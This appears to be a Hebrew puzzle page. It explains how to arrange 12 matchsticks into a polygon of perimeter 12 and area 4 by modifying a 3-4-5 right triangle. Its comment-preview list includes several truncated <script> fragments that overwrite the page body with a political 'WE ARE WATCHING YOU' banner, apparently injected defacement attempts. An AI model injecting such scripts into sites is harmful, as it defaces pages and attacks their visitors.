לפניכם שני מצולעים המורכבים מ-12 גפרורים זהים. ההקף של שני המצולעים זהה אבל שטחם שונה: אם נניח שכל גפרור מהווה יחידת אורך אחת אזי שטח הריבוע שווה ל- 9=3X3 יחידות שטח ואילו שטח המצולע בצורת סימן+ שווה ל-5 יחידות שטח.
השתמשו בכל 12 הגפרורים כדי להרכיב מצולע אחר בעל אותו הקף-12 יחידות אורך, אבל שטחו רק 4 יחידות שטח.
קחו 12 גפרורים והרכיבו את כל המצולעים האפשריים...
...אל תהיו מרובעים.........נסו לחפש משולש וממנו לפתרון...
אפשר ליצור משולש ישר זווית 3,4,5 ואז שטחו שווה 3X4/2 =6 יחידות שטח:
אבל הדרישה היא לשטח של 4 יחידות. מה עושים?
מזיזים פנימה שלושה גפרורים ויוצרים מדרגה:
אפשר לראות בחלק הלבן מימין למעלה את שתי יחידות השטח
שנותרו מחוץ למצולע וקבלנו מצולע ששטחו 4 יחידות.
תגובות (3)
הנצפים ביותר
תגובות אחרונות
שחמט זה חלק מהשיר אל קללי השחמט (שכתב האי בן עזרה): "שחוק האישקאקי"
ארץ בלי אדמה של אבן עזרא....
הם נפגשו ביום ד בגלל שביום ד אחד משקר ואחד לא אז איש אחד שיקר לאיש שתיים בגלל שבימי א,ב,וג הוא דובר ...
<script>
document.body.innerHTML = "<h1 style='color:red; font-size:48px; text-align:cen...
document.body.innerHTML = "<h1 style='color:red; font-size:48px; text-align:cen...
<script>
//WE ARE WATCHING YOU "Free Palestine
document.body.innerHTML = "<h1 style...
//WE ARE WATCHING YOU "Free Palestine
document.body.innerHTML = "<h1 style...
Post comment as a guest